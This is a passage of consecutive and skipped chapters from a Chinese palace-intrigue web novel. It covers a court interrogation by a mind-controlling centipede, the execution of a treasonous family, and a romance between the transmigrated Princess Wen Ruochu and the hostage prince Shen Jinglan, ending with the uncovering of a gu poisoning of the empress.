安王像是抓住救命稻草似的,跪在地上,抬起头,面色激动。 “母皇,沈惊澜亲口承认认识这个细作,水仙就是听命于沈惊澜,莫小将军是被冤枉的,一定是有奸人眼红莫家得圣人重用,故意陷害我朝忠良。” “雍国近些年四分五裂,时常骚扰我大虞边境,能容沈惊澜栖居在我大虞境内,保全一命,已是母皇仁慈开了天恩,如此狼子野心之辈,绝对不能姑息。” “莫小将军只是受了他人蛊惑,绝非自愿泄露我军机密,莫小将军是受算计了啊。” 头重重磕在地上,“为了我大虞江山社稷,儿臣恳请母皇严惩这个雍国质子,还莫小将军清白。” 莫刚和莫易宇也齐齐磕头,“请圣人还我莫家清白。” 几人言之凿凿,语气恳切,像是掏心掏肺为大虞江山社稷肝脑涂地的忠臣似的。 还不是为了保住莫家,以及莫家手里禁军统领的位置。 温若初抬头刚要张嘴和安王辩论,衣角被小幅度地扯了扯,她看向沈惊澜。 沈惊澜低眉顺目,跪得恭敬,并未分给温若初一分视线,微微摇了摇头。 第77章 审问沈惊澜 这时,凌玄礼站了出来,眸色凛然,一脸正气,不忿地瞅了一眼安王。 “皇叔未免太过心急武断,沈惊澜只说认识水仙,并未认其它罪状,”意有所指道,“皇叔如此急切地给沈惊澜定罪,扣下一个颠覆我朝江山的帽子,是想包庇旁人不成?” “皇叔可千万别因护短,被蒙蔽了双眼。” 安王急着辩驳。 “这个叫水仙的已确认是雍国细作,沈惊澜可是滞留大虞的雍国皇子……这还用承认?事实摆在眼前,窃取我朝机密乃重罪,就该直接拖出去砍头,对大雍用兵,以示我朝天威。” 凌玄礼道:“沈惊澜八岁来我大虞为质,人微言轻,哪怕是在雍国也身份低微,如何指使水仙窃取机密?再者说,那些通敌密信是若初郡主和沈惊澜一同送到大理寺,在由下官和王丞相连夜转交圣人。沈惊澜总不至于蠢到自掘坟墓吧?” “这正是沈惊澜的聪明之处,”安王得意地瞄了一眼温若初,“有人在背后支持沈惊澜,沈惊澜才会如此嚣张到胆大妄为,在我大虞境内豢养细作,谋害我朝忠良。” 眼神轻蔑,冷哼一声,“听说你和沈惊澜有些私交,证据都已指向沈惊澜,你却出来跳脚句句维护,究竟意欲何为?” 故意拿凌玄礼和沈惊澜的私交说事,满上京谁人不知凌玄礼为人正直,一身傲骨,从不与人结党攀私,是上京勋贵的一股清流,唯独能和沈惊澜说上两句话,足见两人私交匪浅。 凌玄礼此时竟被安王的诡辩怼得哑口无言。 “你……” “安王殿下和莫家刚结了姻亲,玄礼和沈惊澜有私交。”王丞相厉声开口,“老夫和莫家,和沈惊澜都没关系……” 王丞相对高坐在龙椅之上的女皇行了一礼道:“可否容许老夫说两句。” “准!” 王丞相一脸严肃,看着沈惊澜。 “沈惊澜,老夫问你,这个叫水仙的是不是你养的?” 沈惊澜恭顺答道,“回丞相大人,我在大虞为质,栖居博阳侯府,得郡主照拂,才勉强果腹,没有那个财力,更没有精力和人力去豢养秦楼花魁。” 温若初搭话,“是啊,沈惊澜吃住在我那,我每个月花多少银子,花到什么地方,都是嫁交给芳若姑姑,然后呈递圣人过目的,沈惊澜有没有养细作,圣人应该很清楚啊。” 自从前阵子女皇让芳若监管温若初开销,不能花到沈惊澜身上一枚铜钱之后,苍兰苑每月账目都要呈递给女皇过目。 七拐八绕的,绕到女皇这里,女皇神色威严还在听着双方各执一词辩解,倒是被温若初的话噎了一下。 温若初接着说道,“别说豢养细作了,就连自己沈惊澜都养活不起。” 看向水仙,“你可是秦楼花魁,听秦楼老鸨子说,见你芳容就要三百两银子,你口口声声说受命于沈惊澜,才故意接近莫小将军,那么我请问,沈惊澜给了你什么好处?让你不惜铤而走险窃取我朝机密。” 水仙浑身抖如筛糠,撩起眼皮朝随侍在女皇身边的上官瞅了一眼。 “我……” “别扯什么沈惊澜是雍国皇子,雍国皇多了去了,沈惊澜不过是被你们雍国抛弃的皇子,是最不起眼的那一个,跟谁都比跟着沈惊澜这个皇子有盼头,这个理由不成立。” 温若初嘴快地出声,堵住水仙意图污蔑沈惊澜的借口。 “我……我……” 水仙支支吾吾,面露难色,半天说不出一句话,显然是被温若初说着了。 眼瞅形势逆转,安王气急败坏地瞪着水仙。 “你方才还说受沈惊澜指使,你倒是说啊!” 水仙被安王的吼叫声吓得一抖,更害怕了。 是非曲直已然差不多明了,水仙却属雍国细作,莫易宇也确实泄露了机密,沈惊澜也的确无辜,只是这个雍国细作的嘴忒硬,不肯供出主谋。 既然如此,人已无用,直接杀了即可。 大虞和雍国十几年前签署的停战协议,也该重新讨要一个说法了。 高坐龙椅的女皇刚要张嘴。 一直站在一边没怎么说话的上官,低头走到殿前,“上官有一法子可让这女子说真话,供出主使之人,请圣人允准上官试一试。” “是吗?”女皇来了兴致,“那你试试。” 温若初也挺好奇,什么法子能让一个人说实话,抻着脖子瞅。 只见上官命人抬上来一个绞刑架,和一个香炉,香炉点着一根香。 将那花魁娘子,手臂伸展绑了上去,水仙耷拉着脑袋,那样子像极了受刑的耶稣。 随后上官抖了抖袖口,一只手掌长的黑花壳千足蜈蚣,顺着他细长手指爬了出来,抬手放到水仙衣襟上。 千足蜈蚣无数条腿齐移动,爬行速度极快,像是能自动寻路似的,就近找到一处渗血伤口,探着脑袋就钻了进去。 “不……不……” 水仙从一开始的恐惧,惊叫,到身体扭曲,五官狰狞,嘴里发出呜呜呜的声音,不过是一瞬的功夫,张嘴似乎想对上官说些什么,但已经没有机会了。 在场之人无不瞪大眼睛,看着眼前一幕,此等刑讯手段,简直闻所未闻,令人发指到头皮发麻,如此法子,用了之后,这人也就废了。 上官是安王送给女皇的医官,男生女相,一身阴柔之气,谁都没想到这样一个人,手段竟然如此狠辣。 沈惊澜瞅了一眼上官,微微错愕一瞬,很快恢复成平常那副淡漠的表情,好像见惯了此等手段,见怪不怪,知道接下来要发生什么事。 待水仙平息挣扎,眼神迷离无神,人还活着,却好像失去了灵魂。 上官缓声问道:“你叫什么名字。” “古月蓝。” “水仙是谁。” “是秦楼老鸨给我取的花名。” “你是雍国细作?” “是。” “听命于何人?” “六皇子沈飞白。” “你是如何得到大虞情报的?沈飞白又有何目的?” 这个问题格外关键,关系到一堆人的身家性命,众人屏息凝神,竖起耳朵听。 第78章 三人一起吃馄饨 水仙没什么表情,继续回答上官的问题。 “是莫易宇透露给我的,六皇子想通过莫家父子,攀上安王,寻求两家合作,六皇子助安王夺嫡,安王助六皇子登上雍国皇位……” “胡说八道!” 安王没等水仙说完,急着为自己辩解,谋逆可是重罪,当年大哥当太子的时候,联合朝臣和几位皇子逼宫,连朝臣带皇子以及家眷,几千人都被母皇下令诛杀了。 他是母皇剩下的唯一嫡出儿子不假,可当年大哥贵为太子,也是母皇的亲儿子啊。 当年血案历历在目,光菜市口砍人头就砍了七日,那个夏天护城河的水都是红色的,河里的鱼膘肥体壮,却没有百姓敢吃。 安王吓得三魂丢了两魂,脸色煞白,往前跪走两步。 “母皇,儿臣从未有过不臣之心……” 女皇抬手做了一个“打住”的手势,让上官继续审问。 上官问水仙,“安王可有答应六皇子?” 水仙:“我搭上莫易宇,还没来得及搭安王,就被你们抓来了。” “也就是说……莫小将军知道你的身份?” “是。” 上官接连问了几个问题,水仙获得的军事情报,有些是莫易宇无意透露,有些是雍国六皇子花重金买的。 圣人大怒,当场便处死了莫家父子,念在其先辈有功于大虞,网开一面,留了全尸,赐的鸩酒。 香炉里的香燃尽最后一寸,水仙也失去了生息,耷拉着脑袋,那只千足蜈蚣,挺着圆滚滚的肚皮从天灵盖钻了出来,爬回上官袖口中。 太监进来抬走莫家父子尸体,处理了水仙,大殿地面被清理干净,一切归于平静,像是什么都没发生过似的。 众人神色各异,一个两个都不敢说话,气氛诡异压抑,若大正德殿此时像空气突然稀薄似的,莫名的有些喘不过气。 莫家父子伏法,禁军统领的位置空了出来,正如温若初所预料的一样,王丞相推荐了几人,女皇选定凌玄礼暂时接任禁军统领一职。 女皇撑着扶手,揉了揉太阳穴,神色疲惫,朝众人摆了摆手。 “都退下吧,朕累了。” 正德殿上莫家父子双双殒命,而莫家和安王府的家眷还被关在偏殿,来的时候以为圣人侍疾的名义召入皇宫。 两家家眷等了一天一宿,连圣人的面都没见到,连吃饭和解手都是在偏殿解决的。 眼瞅日上三竿,都察觉到不对劲,直到门板被打开,太监说莫家父子通敌叛国已经伏法,莫家剩余家眷同赐鸩酒,几人才知道发生了什么事。 莫大娘子遭受不住,嘴里直冒胡话,见人就吐口水,竟是疯癫了,莫瑶见莫大娘子疯了,也有样学样,大呼小叫,装疯卖傻。 娘俩被几个小太监架着,灌了鸩酒,没一会儿,就一命呼呜,和莫家父子团聚去了。 凌妙听闻丧夫之痛,当场晕厥过去,过后太医诊脉,怀了身子,又是圣人嫡出孙女,才免遭此劫。 安王刚拉拢过来的左膀右臂,就这么折了,自己的闺女,刚刚嫁为人妇就成了寡妇,还带着孩子。 圣人并未允准凌妙和莫家脱离关系,凌家父子被以通敌叛国之罪被惩处,日后凌妙的日子怕是不好过。 安王心里清楚,圣人这是在敲打他。 他心里憋气又窝火,恨不得把莫易宇的尸体挖出来,大卸八块。 男人三妻四妾很正常,想寻快活就抬两个妾室,非要招惹什么花魁娘子,不仅把自己折了进去,还险些连累了他。 安王心中怒火难消,临走之前让上官来找他。 皇宫门口停着一辆平平无奇马车,安王凌肃黑着脸坐在马车里,冷冷扫了一眼上官。 怒声质问:“你明知本王留着莫家有用,说好了把罪责推到温若初和沈惊澜身上,你为何自作主张?莫不是假意投靠本王?” “王爷明察……”上官为自己辩解,“方才您也看到了,温若初巧言令色,三言两语就解除了沈惊澜身上的疑点,圣人信任温若初,有王丞相和凌玄礼两个名声中正之人全力作保。” “又事发突然,准备不足,实在难以圆过去,莫家通敌板上钉钉的事,当时若是执意把脏水泼到温若初和沈惊澜身上,保莫家父子,圣人已有迁怒王爷的迹象,最好的解决办法就是断尾求生,舍弃莫家,保王爷。” 安王迟疑一瞬,眯了眯眼睛。 “本王可以把你送到母皇身边,也可以随时要了你的命。” 上官重重地朝凌肃磕一个头,言辞恳切表忠心。 “王爷对上官有知遇之恩,上官定肝脑涂地报答王爷恩情。” 安王凌肃面色缓了缓,对上官的态度还算满意,折了莫家,还在这个上官争气,很得圣人脸面,今日过后,上官在皇宫算是站住脚跟了,也算是一件好事。 “好生伺候母皇,出来有些时候了,早些回去吧。” “是。” 上官恭敬地磕完三个响头才走下马车,转身离开的瞬间,唇角勾起一抹讥讽笑意,在宫门口转了一圈,待安王马车走后,一路沿着鲜有人走的小路,朝朱雀巷温清柔住处而去。 安王府这边愁云惨淡,依照温若初的性子,禁军统领的位置没有旁落,又一举扳倒莫家,无人背后给女学使绊子,女学在不远的将来,即将更上一层楼,温若初应该大办宴席,好生庆祝一番。 可今日却没什么兴致,不是同情莫家父子,只是感叹生命无常,一大家人的命说没就没了,只因莫易宇的纵欲贪欢。 拉上沈惊澜和凌玄礼,只是随便寻了一个开在路边不起眼的小店,要了三份小馄饨,简单庆祝凌玄礼高升,温若初和沈惊澜大难不死。 温若初没什么胃口吃了两个馄饨,心里唏嘘一番,突然抬头,重重撂下筷子,既然生命无常,更应该及时行乐,今朝有酒今朝醉。 沈惊澜和凌玄礼齐齐抬头,嘴里塞着馄饨,睁大眼睛,诧异地看着她。 温若初起身,打了鸡血似的,一脸的豪情壮志。 “等着,我去找掌管的要酒,凌大人高升,没有酒,没意思。” “哎!” 沈惊澜知道温若初酒醉之后的德行,绝对不能喝多,想抬手抓温若初,温若初已经抬腿走了,只有一片衣角划过他掌心。 沈惊澜看了看自己的手掌,空空如也,亦如他们之间的关系,若即若离,薄如蝉翼,有一天可能真的就抓不住了。 人生无常,沈惊澜很小的时候就明白这个道理,或者说他的前半生一直都在“无常”中度过,他的后半生可以继续“无常”下去,可温若初不行。 今日之事本和温若初无关,险些被安王等人算计进去,那个上官绝非等闲之辈,安王也肯定留有后手。 沈惊澜怔楞着,忽然低声开口。 “我想娶她,光明正大地娶她。”语气很轻,却又格外笃定。 第79章 郡主又酒后撒疯 “咳……咳……” 凌玄礼因为沈惊澜的这句话呛咳好几声,吃进嘴里的馄饨差点没从鼻子里呛咳出来,白皙的脸庞咳得通红。 “你……” 凌玄礼回头瞅了一眼温若初。 温若初正在和掌柜的急赤白脸争吵些什么,大抵是这家小店没有温若初要的酒。 凌玄礼抬起屁股,换个位置,坐到离沈惊澜较近的长凳上,面上掩饰不住地忧心,压低声音道。 “你现在的身份是温若初的面首,是雍国滞留在大虞的质子,人微言轻,温若初深受皇祖母宠爱,你如何娶她?” “眼下又出了莫家私下接触雍国细作的事,皇祖母虽没迁怒到你身上,可你的处境往后只会越来越糟,不知道暗处有多少双眼睛盯着你。” “退一万步来讲,若真是老天开眼,雍国皇室能迎你回雍国,依照温若初在皇祖母那的受宠程度,也不可能放温若初去和亲。” 沈惊澜长睫低垂,拇指指腹摩挲着食指,守正说的这些是无法否认的事实。 他是滞留在大虞的质子,求娶一个圣宠正盛的郡主,的确有些痴人说梦,听起来就令人匪夷所思,完全不可能。 但在他这里,没有能不能做的事,只有想不想做的事。 光明正大的娶温若初……只是稍稍麻烦些而已,又不是不能娶。 凌玄礼见沈惊澜不说话,以为话说重了,缓了缓语气劝慰道。 “听说雍国皇帝病重,几个皇子私下斗得你死我活,国土四分五裂,藩王割据一方,你留在大虞未必是一件坏事。” 抬手拍了拍沈惊澜肩膀,语重心长,“瞧着温若初对你还不错,等将来她嫁人了,定会妥善安置你,别想太多了,好好活下去。” 沈惊澜抬眼看着凌玄礼,墨黑的眸子闪着晦暗不明的光,眼底隐隐升起一股火气。只是他隐藏得极好,又一直给人一种病弱的印象。 凌玄礼并未发现沈惊澜的异样,还在继续劝慰好友。 “就算将来温若初嫁人,把你扫地出门,你放心,你还有我这个好友,我一定会收留你。” 从前和温若初接触较少,从最近温若初言行上看,温若初也是个心思纯良之人,温若初将来出阁那日,一定会好生安顿谨之。 谨之向来心思细腻,凌玄礼忧心沈惊澜焦虑,特意说了他给他兜底的话,让沈惊澜没有后顾之忧。 凌玄礼和沈惊澜两人正说着话,温若初抱着两坛酒回来了,凌玄礼的话,她只听到了后半句。 随后问道:“收留谁啊?” 凌玄礼坐回原来的位置,瞅了一眼沈惊澜,回道。 “没谁。” 小店里没有果酒,温若初现去对面酒肆去买的果酒,两坛果酒放在桌上,让掌柜的拿来三个海碗。 温若初倒酒的时候,瞅了瞅沈惊澜,又看了看凌玄礼。 这两人又在背后曲曲她。 温若初自认最近没做什么伤天害理的事,做的基本上算是好事,凌玄礼新得的禁军统领的职位,还有她的功劳呢,凌玄礼应该不至于说她坏话。 不是坏话,那就一定是夸赞她的好话。 温若初一扫之前因正德殿上目睹整个莫家消逝造成的颓靡之态,豪气地递给沈惊澜和凌玄礼一人一大碗酒。 “来,这碗酒敬凌大人高升,凌大人日后宏图大展,官运亨通,可别忘了我们。” 不过是酒桌上的客套话,凌玄礼接的话却莫名的不对味。 “我受圣人之命,接管禁军统领一职,定会尽职尽责,以权谋私走后门的事,在我这行不通。” 温若初:“……” 这个凌玄礼不愧是正得发邪,这个人的人品没问题,就是涉及公事上,就像是换了一个人,公事公办,一点情面都不江。 可她不过是说两句祝酒词,不至于上纲上线吧,凌玄礼升迁,怎么说也有她的一份功劳吧。 温若初笑意僵在脸上,举着大碗,一脸的尴尬。 沈惊澜率先仰头灌下一整碗的酒,看着对面的凌玄礼。 “郡主只是觉得惩处了奸臣,又有凌大人这样刚正之人得以受到重用,是朝廷之福,百姓之福,应该喝酒助兴,是凌大人会错了意。” 这话说得漂亮,缓解了尴尬,全了凌玄礼的脸面,也解释了温若初的初衷。 温若初感激地瞅了一眼沈惊澜,突然发现沈惊澜好像也挺懂她的。 “哦——” 凌玄礼恍然大悟,歉意地朝温若初举了举酒碗,一脸难为情。 “是我小人之心了,还望若初郡主不要在意,这碗酒当做我给你赔罪。” 一段不愉快小插曲很快揭过去,三人也算喝得尽兴。 沈惊澜没拦着温若初喝酒,不出意外,温若初又喝多了。 回到博阳侯府就有点意识不清,开始撒酒疯。 三更半夜非要去女学组织学生考试,还说什么马上要高考了,来不及了。 沈惊澜好言相劝,劝了好长时间,温若初才安生下来,给温若初掖了掖被角,刚直起身,手却被死死抓住。 “别走!” 温若初小猫似的在沈惊澜手上蹭了蹭,有些害怕地轻语道,“我怕。” 毕竟是目睹死了人,温若初面上装作不在意,她从二十一世纪穿越而来,生长在社会主义和谐社会,哪里见过一杀就杀一片的阵仗。 这里是一个吃人的世界,指不定哪天她也没了。 沈惊澜半蹲,看着温若初的眼睛,“没人能伤害你。” 温若眼神迷离,尽量把视线聚焦在沈惊澜身上。 “那你将来有一天会砍我手脚做成人彘吗?” 沈惊澜:“……” 他抿了抿唇,以为温若初又在撒酒疯,“你等着,我去给你熬煮些醒酒汤过来。” 温若初似乎并不想放开他,撑着身子坐了起来,执拗地又问道。 “那你……会杀了我吗?” 沈惊澜不知道温若初为何反复追问这个荒缪的问题,看着温若初恐惧害怕的样子,眉宇划过一丝心疼。 犹豫一瞬,凑到温若初的唇瓣上,蜻蜓点水似的啄吻一口。 第80章 又同床了 沈惊澜贴着温若初的唇边,两人呼吸纠缠在一起,低声道。 “不会。” 知道温若初酒后耍酒疯,过后不认账的毛病,顿了顿补充道,“我要娶你,记住了?” 温若初眼神呆滞,意识模糊,好像听懂了,又好像没听懂,沉默了好长时间,咧了咧嘴角,点点头。 像是得到糖果的孩子,面上不安逐渐消退,闭上眼睛,直接倒在床上,没一会就传出轻微的鼾声。 沈惊澜看着温若初,墨黑瞳仁带着掩饰不住的宠溺,轻笑一声,摇摇头。 隔天温若初迷迷糊糊睁眼的时候,就瞧见身边多了一个人,模样俊俏得堪比天人,身穿素白里衣,身材修长高大。 沈惊澜! 温若初瞬间睡意全无,猛地坐起身,下意识拢了拢衣裳。 沈惊澜怎么会在她床上? 两人同床共枕不止一次两次了,很少有隔天醒来沈惊澜躺在她身边的情况,基本上温若初醒来的时候,身边床褥是冷的,要不是确定前一晚和沈惊澜一起躺下的,甚至怀疑沈惊澜压根就没在她床上住过。 温若初脑子乱糟糟的,努力回想着昨晚发生了什么? 许是她动静太大,吵到了沈惊澜,沈惊澜也睁眼眼睛,坐起身,偏头看向温若初,嘴角染着一抹若有似无的笑意。 “郡主昨晚睡得可安好?” 温若初提心吊胆地点点头,犹豫着问道。 “昨晚……” 指了指沈惊澜,又指了指自己,“我们之间没发生什么吧?” 温若初瞪着眼睛等着沈惊澜的回答。 没想到沈惊澜只是意味不明地轻笑一声,腿搭到床沿,抬脚穿上鞋子,当着温若初的面,动作缓慢地套上衣,系上腰扣。 “我去打温水,伺候郡主梳洗。” 说着勾了勾火盆里的炭火,推门离开。 温若初看着沈惊澜离开的方向,一脸懵,抓了抓头发,昨晚不会强行把沈惊澜留下的吧,让沈惊澜来侍寝了? 温若初被自己的猜测惊出一身冷汗。 不对…… 沈惊澜不是不愿意和她相好? 她若是强行让沈惊澜来侍寝,沈惊澜不是应该哭丧着脸,一脸不情愿,然后像黄花大闺女被糟践了似的寻死觅活才对? 瞧着沈惊澜脸色眉宇含笑,不像是被强迫占便宜的样子,反倒看起来心情不错。 温若初内心忐忑,不确定昨晚到底发生了什么? 整个早晨心都是悬着的。 沈惊澜说打温若初帮她梳洗,还真就接替了秋菊的活,帮她梳洗。 温若初坐在铜镜前,貌似无意旁敲侧击地向沈惊澜打听昨晚的事。 “我昨晚没说梦话吧?” 沈惊澜拿梳子理顺温若初的长发,识破她的意图,看着铜镜中那张略显紧张的娇俏脸庞,故意逗弄。 “说了。” “说什么?” 沈惊澜挽起墨发,从妆奁里拿起一只缀着流速的簪子,插进发髻里,对着铜镜,左看右看,似乎对自己初次尝试挽女子发髻的手艺,颇为满意。 一个不算简单的发髻盘完,才不紧不慢地回答温若初方才的话。 “没听清。” 温若初柳眉微蹙,心都提到嗓子眼了,结果就这…… 她怀疑沈惊澜是故意的。 莫家这座大厦一夜之间轰然倒塌,隔天就传遍了整个上京城,那些平日里和莫家走得近的朝臣,唯恐祸及己身,纷纷落井下石上奏细数莫家罪状,连莫易宇小时候上树抓鸟的事都被人翻了出来。 温若初吃早饭的时候,还听冯文他们在聊这事呢。 莫家倒台,安王失去最佳助力,禁军统领这个位置落在凌玄礼头上,对温若初来说,这一仗也算是大获全胜,安王至少能安生一阵子。 原打算利用水仙扳倒莫家的温情柔这两日着实气得不轻。 那日圣人处置完莫家,上官紧接着就去给她报信,说温若初已经率先找到墨家通敌证据,并经由王丞相和凌玄礼之手呈递圣人。 本计划留给凌玄澈的禁军统领一职也飞走了。 让她如何不气? 玄澈哥哥对她满怀希望,还指望着这件事恢复宗室身份呢,这下全完了。 昨天玄澈哥哥来的时候还过问来着,她当时回答得信心满满,让玄澈哥哥放心,就连英王妃也开始接受她了,待她极好,前阵子还送了她一个赤金掐丝簪子来着。 如今这份天大的功劳旁落,禁军统领一职也另属旁人。 明明说好的她也能像温若初一样,助玄澈哥哥登上九五至尊之位。 眼下让她如何和玄澈哥哥交代? 温清柔咬牙切齿,向来我见犹怜的柔弱姿态,此时一脸狰狞,像是要吃人。 抬手就狠狠甩了上官一巴掌。 “啪——” “你不是说万无一失,怎么会让温若初抢了先?玄澈哥哥该怎么办?” 上官肤色洁白如玉,脸上瞬间多了五个手指印,托起温情柔的手,力度不轻不重地按揉手掌心。 “二小姐有气,吱一声,上官自己来,不劳烦二小姐动手,二小姐手掌会疼的。” 伸手不打笑脸人,温清柔纵然心底恨意难消,上官打不还手骂不还口的顺从样子,很快取悦了她。 心底恨意转移到温若初头上,她应该收拾的人是温若初。 温若初和她娘王首青一样,都喜欢抢别人的东西,王首青抢了别人的丈夫,温若初抢走了她的嫡女身份。 她好不容易谋划好的计划,眼瞅就要成功了,还被温若初抢了先。 温清柔抬手揉了揉上官泛红脸颊,一脸心疼。 “打疼你了吧?放心等扳倒温若初那日,让你找回来。” “上官不疼,”上官笑了笑,“多谢二小姐。” 接着说道:“温若初和沈惊澜联手折了安王的左膀右臂,安王一定记恨上了温若初和沈惊澜,对瑞王殿下来说,并非全是坏事,他们两方掐起来,正是瑞王殿下养精蓄锐的好时候。” “不就是一份功劳,一个职务?日后机会多的是,上官不才,得了圣眼,定会为瑞王殿下多多谋划,我们只需静观其变,瞅准时机就好。” “你说得对。” 温清柔点点头,像是想起什么似的,突然面色紧张起来。 “安王没怀疑你身份吧?” “安王这次没受莫家牵连,还多亏了我,安王不但没对我起疑,反而更加信任我,二小姐尽管放心,安王早晚是瑞王殿下的手下败将。” 温清柔放下心,“那就好,玄澈哥哥一会过来,你早点回去吧。” 上官亲吻温清柔的手背,“那我下次早些过来。” 第95章 咬痛快了? 沈惊澜垂眸,目光与温若初瞬间交汇,那双眼眸仿若幽邃深潭,平静无波却又似藏着千言万语,好像还多了几分无奈和心疼。 他并未言语,只是手臂微微用力,将温若初抱得更紧,加快了脚步,朝凌玄礼让嬷嬷给温若初准备出来的房间走去。 温若初头脑还有些不清醒,以为自己看错了,又惊又喜,闭了闭眼睛,又睁开,酒精作用下,眼神有些迷离,再次确定这人就是沈惊澜。 好不容易压下去的委屈瞬间翻涌起来,温若初伸胳膊蹬腿挣扎着就要从沈惊澜身上下去。 “放开我,都走了,还回来干嘛?”连送都不让送,哪有这样的,就算是分手,也得好聚好散吧。 沈惊澜充耳不闻,紧紧抱着温若初,脚步沉稳,走到房间门口,一个用力翻转,把温若初扛在肩头,推开房门,迈步进屋,回头关门。 温若初大头朝下挂在沈惊澜肩膀上,眼泪没出息地溢满了眼眶,不知道锤了多少下沈惊澜,整个人被摔进柔软的床铺里。 沈惊澜手臂撑在她耳侧,抬手怜惜地拂她眼底泪花。 温若初躺在床上,两只手抓住沈惊澜伸过来的手,恶狠狠地咬在手腕上,牙齿用力,舌尖尝到一股血腥味。 沈惊澜拧了拧眉,没急着收回手,感觉咬在手腕上的力道松了,开口道。 “咬痛快了?” 温若初松开沈惊澜手臂,整齐的两排牙印上渗着血珠,偏过头,不看沈惊澜。 “你不是走了?回来干嘛?” 沈惊澜俯身盯着温若初,发丝凌乱铺散在枕头上,双颊泛着潮红,两片微微张开的唇瓣艳红,上面还残留着他的血,大概真的是气急了,胸口上下起伏着。 缓缓开口道,“想你。” 温若初微微一怔,从这简单的两个字中,竟听出些许鼻音,看向沈惊澜,新奇地发现沈惊澜眼底是红的。 温若初:“……” 不至于吧,不就咬了一口,那么大的人,至于哭? 底气不足地道歉,“是你先对我摆臭脸的,我憋了一肚子气,我……我……唔!” 话没说完,嘴巴被一个强势的吻堵得严严实实,沈惊澜的吻炽热而急切,似要将心底积攒的情感一股脑宣泄出来。 他的唇重重压上温若初的唇,强势撬开她的贝齿,攻城略地,与她的舌纠缠在一起。 温若初瞪大双眼,眸中满是惊惶,双手下意识抵在沈惊澜胸口,可他的胸膛滚烫,心跳如雷,这热度与节奏似有传染性,让她的心跳也瞬间乱了节拍。 她本想挣扎,可沈惊澜的双臂如铁箍般紧紧环住她,将她牢牢禁锢在怀中,让她动弹不得。 他的吻愈发深入,带着不容拒绝的霸道,温若初只觉呼吸都被掠夺,大脑渐渐空白,只能本能地回应着。 不知过了多久,沈惊澜才缓缓松开温若初,两人额头相抵,急促的呼吸交织在一起。 沈惊澜沿着脸颊一路吻到耳侧,低声呢喃,似是质问,“让你等我,你怎么跑来和守正喝酒?嗯?” 两人生活在一起那么长时间,温若初想做什么,他又怎会不知。 怕温若初多想,特意让范天恩传消息给温若初,今晚会回来看他,回博阳侯府找一圈没见到人,辗转找到凌玄礼这里。 温若初嗅到好浓的醋味,沈惊澜这恶人先告状的本事比她还厉害。 “什么时候让我等你了?你只说不让我送。” 沈惊澜眸色顿了一下,看着温若初一脸不满委屈地和他控诉,很快反应过来传递消息的中间可能出了岔子,面色一下子就软了。 “我的错,以后不会再发生这种事,你要等我,用不了多久。” 顿了顿补充道,“别忘了。” 沙哑的声音中带着几分祈求的意味,虔诚地舔舐着他留下印记的地方,知道温若初酒醉之后什么德行,没执着地要回应。 是她主动招惹他的,她若是不等他,他不介意用自己的方式,永远把她留在身边。 温若初听不懂沈惊澜的话,头脑晕晕乎乎,被沈惊澜撩拨得体内升起热意。 无意识地抬手勾住沈惊澜的脖子,主动迎合。 烛光微动,在墙上映出交叠在一起的两道影子,不时传出暧昧声响…… 隔天温若初睡醒的时候,身边床铺空空,穿好衣裳,简单梳洗推门出门,屋外稀疏的草木上挂着一层厚雪,士兵操练的声音震天响地传到这边。 不见沈惊澜身影,凌玄礼一身铠甲走了过来。 “睡醒了,早饭给你准备好了,早些用吧。” “多谢。” 隔壁房间准备了清粥小菜,边上放着一碗芙蓉汤,温若初酒后隔天习惯喝一碗芙蓉汤暖胃又养精神。 坐到圆凳里,端起芙蓉汤抿了一口。 “沈惊澜什么时候走的?” 凌玄礼顿了顿,昨晚沈惊澜的确是来过,走之前托他照顾温若初,还特意嘱咐不让他告诉她。 “呃……谨之不是昨天刚走?” 温若初:“……”她锁骨上的牙印是狗咬的? 温若初放下汤碗,简单吃了点粥和包子,盯着凌玄礼的眼睛。 “凌大人,你真的很不善于撒谎。” 说完用帕子擦了擦嘴,站起身。 “多谢凌大人款待,被褥我带走了,一会给你送一床新的过来。” 温若初的确是有喝酒忘事的毛病,可她又不傻,在外面喝酒,绝对不会喝到烂醉如泥,不省人事的程度。 况且昨晚凌玄礼的酒只是浓烈了一些,没什么后劲,沈惊澜回来的时候,她差不多都醒酒了。 沈惊澜昨晚和她说过什么,她可是记得一清二楚。 沈惊澜让她等他,她只是想知道这个期限是多久。 雍国老皇帝还没咽气呢,按书中大致时间推算,沈惊澜大概三年之后统一雍国各部,登基称帝。 如今剧情发生变化,也不知道会提前还是延后。 温若初以为至少要等上一年半载,没想到这一天随着一件意外事件的突发,很快就来了。 第97章 狗咬狗一嘴毛 r温若初把汤药端到女皇面前,女皇拧着眉头往后躲,略显浑浊的眼睛,嫌弃地看着那碗黑漆漆的汤药。 “什么啊?” 汤药泛着一股恶臭,胡庸还特意让人滤去了药渣。 温若初故意做出一副不高兴的样子,撅着嘴巴。 “我好不容易弄来的黑海参,想着拿来给外祖姑母补身子,没想到外祖姑母如此嫌弃。”说着眼睛里憋出两滴眼泪出来。 “外祖姑母不要我这份孝心,小初以后少来圣人面前讨嫌就是了。” 女皇瞧着她这幅拈酸吃醋的样子,到底是自己养大的,心软了,妥协地叹了一口气,伸出手指戳了一下温若初的脑袋。 “你啊,朕只是瞧着不对劲,闻着就有点反胃。” 反胃就对了。 温若初解释,“熏煮的时候,加了些别的补药,数九寒冬,正是补气血的好时候,小初还等着圣人长命百岁呢。” 端来一盘蜜饯,“喝完了吃一颗,不会太苦的。” “朕还等着你生儿育女呢。” 女皇瞅了温若初好几眼,拗不过温若初,端起药碗,仰头一口灌下。 染着丹寇的手指拿起蜜饯,蜜饯还没等进嘴,胃内一阵翻涌。 “呕~” 呕出一大滩黑糊糊的东西,细看之下,黑血里隐有东西一拱一拱地蠕动,没一会冒出一个长着黑色触角的软体蛊虫。 女皇脸色煞白,捂着胸口,苍老的眸子此时满是冰冷的戾气,抬眼看向温热若初,厉声质问。 “你……你给朕吃了什么?” 温若初赶紧双膝跪地,声音急切且带着不容置疑的笃定。 “圣人,有人给您下了蛊毒,刚才您喝的汤药正是解蛊毒的药,臣女诓骗您,实属不该,求圣人责罚。” 女皇眉头紧蹙,呼吸急促,强忍着身体的不适与心头的怒火,冷冷道。 “你说有人蓄意加害,可有证据?今日之事,关乎朕的性命,若是查无实据,你休怪朕不念及亲情!” 温若初叩首在地,额头触碰到冰冷的地砖。 “小初不敢欺瞒圣人,胡庸以及太医院的几位太医都可作证。” 宫人进来传话,“圣人,王丞相说有急事求见,事关蛊毒。” “传。” 王丞相领着十几个朝臣和宗亲,还有太医院的几位太医,呼呼啦啦跪了一地。 